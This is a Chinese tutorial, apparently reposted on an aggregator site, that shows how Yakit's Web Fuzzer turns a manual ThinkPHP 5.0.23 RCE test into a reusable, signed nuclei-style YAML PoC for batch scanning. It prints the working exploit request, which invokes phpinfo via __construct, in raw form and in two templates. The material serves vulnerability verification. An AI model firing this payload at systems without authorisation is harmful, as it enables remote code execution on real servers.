PoC免写攻略

在网络安全领域,PoC(Proof of Concept)起着重要的作用,并且在安全研究、漏洞发现和漏洞利用等方面具有重要的地位。攻击方视角下,常常需要围绕 PoC 做的大量的工作。常常需要从手动测试开始编写 PoC,再到实际调试 PoC的正确性,最后才能将编写完毕的 PoC 投入批量使用,在此目前流程中各个阶段之间并没有很好的关联性,相互之间不能 一键 完成,需要从业人员花费不少不必要的工作时间。Yakit 为了解决这个问题,在 Web Fuzzer 中带来了新的功能——一键导出PoC yaml 以及 联动的调试功能。打通 PoC 的工作流程,让 PoC 可以真正地“免写”。本文将以编写一个 ThinkPHP 5.0.23版本的RCE漏洞的 PoC 为线索来介绍Yakit的 PoC 支持。

ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

Web Fuzzer 手动验证

构造数据包

先来尝试使用Web Fuzzer 手动触发一个 ThinkPHP 的 RCE 漏洞。先在Web Fuzzer里构造一个可以触发漏洞的数据包:

POST /index.php?s=captcha HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1

上述是一个可以执行 phpinfo 的测试数据包,直接发送给目标可以触发一个 phpinfo 响应。

1699257170_65489b52dc3ce55645bd5.png!small?1699257169513

验证响应-匹配器

除了测试数据包外还需要有与测试数据对应的 预期响应,以验证漏洞是否触发。

对以此漏洞一个比较合理的判断是:响应页面同时有ThinkPHPPHP VersionPHP Extension三个关键字的时候是成功用ThinkPHP RCE执行了phpinfo函数,触发了漏洞。

在 Yakit Web Fuzzer 中可以使用匹配器来便捷地匹配数据、检查响应是否符合预期。匹配器位于 Web Fuzzer 的高级配置栏,

匹配器三种匹配模式:丢弃,保留,仅匹配

  1. 丢弃:丢弃模式会在符合匹配器时下丢弃返回包。
  2. 保留:保留模式会在符合匹配器时保留返回包,剩余的返回包则直接丢弃。
  3. 仅匹配:仅匹配模式会在符合匹配器时将对应的返回包染色,而不做其他操作。选中此模式一旁出现的色点既是染色使用的颜色

1699257180_65489b5c95df8853b043c.png!small?1699257179494

直接来使用匹配器来匹配上述测试数据包的预期数据:

点击添加匹配器,在页面右下角会弹出匹配器详细设置页面

1699257187_65489b633167ab4d42d9c.png!small?1699257185840

详细设置页面十分简单明了,支持五种匹配模式、四种匹配范围以及两种匹配关系。上述数据包的匹配规则可以表达为:AND关系全部响应中匹配三个关键字,在匹配器中即可如下设置。

1699257192_65489b68cc9f74e2a7fcb.png!small?1699257191494

点击应用,匹配器即可生效。重新发送数据包,会提示数据包成功匹配:

1699257199_65489b6f17c89dace576d.png!small?1699257198278

至此,已经完成了手动测试一个数据包以及匹配预期响应的流程,在 Web Fuzzer 手动发包已经成功完成了一次漏洞验证,有了构造PoC的基础。

Web Fuzzer 自动导出 PoC

PoC的作用当然不能限制在单次的手动测试中,它的作用是通过提炼一个手动测试的流程,来自动化验证某个漏洞,上一节里在Web Fuzzer完成了手动测试ThinkPHP RCE漏洞的部分,接下来就需要将这次手动测试提炼成一个可以重复使用的 PoC 文件。

在 Web Fuzzer右上角处,有两个按钮,分别对应直接导出 PoC转到调试 PoC

1699257204_65489b740fac0ee16f508.png!small?1699257202683

PoC****结构

这里导出和调试的PoC使用的是 Yakit 兼容的 nuclei PoC 模板。点击导出 PoC ,上面的手动测试的流程被保存为如下的 PoC Yaml。

支持 Raw 和 Path 两种模式,可自由选择

``

// Raw 模式
id: WebFuzzer-Template-UuMDryDUinfo:name: WebFuzzer Template UuMDryDUauthor: godseverity: lowdescription: write your description herereference:- https://github.com/- https://cve.mitre.org/metadata:max-request: 1shodan-query: ""verified: trueyakit-info:sign: 4a59ba760cdf626429aa3c22ab3dcfa0http:
- raw:- |-@timeout: 30sPOST /index.php?s=captcha HTTP/1.1Host: {{Hostname}}Content-Type: application/x-www-form-urlencodedContent-Length: 72_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1max-redirects: 3matchers-condition: andmatchers:- type: wordwords:- ThinkPHP- PHP Version- PHP Extensioncondition: and// Path 模式
id: WebFuzzer-Template-oZqWchulinfo:name: WebFuzzer Template oZqWchulauthor: godseverity: lowdescription: write your description herereference:- https://github.com/- https://cve.mitre.org/metadata:max-request: 1shodan-query: ""verified: trueyakit-info:sign: 69a05e9c6fc674153565cbbe1e868464http:
- method: POSTpath:- '{{RootUrl}}index.php'headers:Content-Type: application/x-www-form-urlencodedHost: 172.29.228.154:8080body: _method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1max-redirects: 3matchers-condition: andmatchers:- type: wordwords:- ThinkPHP- PHP Version- PHP Extensioncondition: and

yakit sign

此 Yaml PoC 有一个特殊的字段yakit-info:sign。顾名思义,这是一个签名,一个用于保护 PoC 数据正确性、完整性的签名。对 PoC 内的重要数据进行签名,包括 raw 、method、headers…

在 Yakit 插件生态中,上述的 PoC 是可以作为一种插件被用户方便地使用的,但是作为一个纯文本的数据,很难验证本身是否被错误地改动。而这个签名字段的作用即是验证此 PoC 是否被意外改动。

在批量执行的插件的情况下,也可以用通过对签名的验证来筛选出可以信赖的插件,很大程度上避免了本地插件被意外修改导致验证失败的问题。

PoC****调试

PoC 显然是不能不经调试检验直接使用的,在上一步中提炼除了 Yaml PoC 还需要把 PoC进行进一步的调试,来测试 PoC的完善性。在 Web Fuzzer 页面中点击右上角的生成 Yaml 模板按钮即可将当前 Web Fuzzer 的配置生 Yaml PoC 并且调整到插件调试页面,方便师傅们进一步调试。

1699257221_65489b85629d694878088.png!small?1699257219975

调试页面可以对 Yaml PoC 插件进行测试,通过测试不同的目标来验证检查其完善性。

1699257228_65489b8c4474f09fa2188.png!small?1699257226779

一旁的配置调试请求栏中可以设置不同的调试目标,支持域名、IP、URL。配置调试目标完成之后,点击执行即可看到本次的调试流量、插件信息以及控制台输出

1699257234_65489b922b398a331cd9f.png!small?1699257232935

经过详细地调试之后,在调试插件的右上角有存为插件的按钮,点击即可将当前调试的 Yaml PoC 保存为插件,让此 PoC 正式成为一个可以批量使用的插件。

1699257238_65489b963766806b77975.png!small?1699257236954

总结

至此通过 Yakit 的导出与调试 Yaml PoC 功能,我们很简便的完成了一个批量使用的 PoC 编写,期间除了最开始的构造数据包部分需要人工手动测试,其余阶段 Yakit 都自动化完成了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/501346.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Axure RP 9 for Mac 中文激活版:交互设计神器

axure mac 是专为UX专业人员和业务分析师设计的专业网站原型设计工具!可以帮助他们快速创建应用程序和网站的线框,原型和规格! 软件下载:Axure RP 9 for Mac v9.0.0.3741中文正式版下载 新功能包括一系列广泛的改进:全…

Lightroom Classic 2024 for Mac v13.0.2中文:摄影后期的强大助手

Adobe Lightroom Classic 2024是一款功能强大的照片编辑软件。无论你是专业摄影师还是热爱摄影的业余爱好者,lrC2024都将成为你实现创意的得力助手,让你的摄影作品更加出色和引人注目。 软件下载:Lightroom Classic 2024 for Mac v13.0.2中文…

小乌龟新建、合并分支

1、建分支 如果想创建完毕后直接切换到新分支可以勾选“切换到新分支”选项或者从菜单中选择“切换/检出”来切换分支 右键查看,再提交,指向新的分支。 2、合并分支 分支切换到dev后就可以对工作区的文件进行修改,然后提交到dev分支&#xf…

未来已来:智慧餐饮点餐系统引领餐饮业的数字化转型

时下,智慧餐饮点餐系统正在引领着餐饮业迈向更高的位置。今天,小编将与大家共同探讨智慧餐饮点餐系统的发展趋势、优势以及对餐饮业的影响。 一、智慧餐饮点餐系统的发展趋势 智慧餐饮点餐系统的出现填补了这一空白,它通过引入数字化技术&a…

springboot231基于SpringBoot+Vue的乡政府管理系统

乡政府管理系统设计与实现 摘 要 传统办法管理信息首先需要花费的时间比较多,其次数据出错率比较高,而且对错误的数据进行更改也比较困难,最后,检索数据费事费力。因此,在计算机上安装乡政府管理系统软件来发挥其高效…

DDOS攻击处理方法

DDoS(分布式拒绝服务)攻击是一种网络攻击,攻击者通过发送大量的请求,超过目标服务器的处理能力,导致服务器服务不可用。本文将介绍如何处理DDoS攻击,并提供几种防范措施。 1. 认识DDoS攻击 DDoS攻击通常通过…

基YOLOV5实现的AI智能盒子

基于yolov5实现的AI智能盒子框架 开发背景技术实现产品效果源码预览功能介绍 2021-2023是沉淀的几年,经济不景气,各行各业都不太好混,所以这几年也没有太多心思花在csdn上为各大网友写一些技术文章,2024年初,也算是给自…

flutter学习(一) 安装以及配置环境

首先需要下载flutter,然后解压 然后配置环境变量,配置到bin目录就行 配置完之后cmd运行flutter doctor 你就会发现,都是错 此时脑海里响起,卧槽,怎么回事,咋办 别着急,我教你。。。 问题 这…

thefour--Love is like a tide

最后一部分了,要开始进行我们的训练了。 先上代码: import os import numpy as np from tqdm import tqdm import tensorflow as tf from thetwo import NeuralStyleTransferModel import theone import thethree #创建模型 modelNeuralStyleTransferM…

视频记录仪_基于联发科MT6762的智能4G记录仪方案

智能记录仪采用联发科强劲八核处理器,12nm制程工艺的记录仪具便是满足这些需求的理想选择。搭载4GB32GB内存,并运行Android 11.0操作系统,这款记录仪具展现出强劲的性能表现。 首先,这款记录仪具具备优秀的视频录制功能。它能完整…

重塑计算:ICP 打造无限智能合约云解决方案

作者:Lynn Cadet 编译:TinTinLand 原文:https://www.hostingadvice.com/blog/internet-computer-offers-a-limitless-smart-contract-cloud-solution/ 摘要:与其前身互联网一样,区块链行业寻求引领一个新时代及其经济…

【Sql Server】Update中的From语句,以及常见更新操作方式

欢迎来到《小5讲堂》,大家好,我是全栈小5。 这是《Sql Server》系列文章,每篇文章将以博主理解的角度展开讲解, 特别是针对知识点的概念进行叙说,大部分文章将会对这些概念进行实际例子验证,以此达到加深对…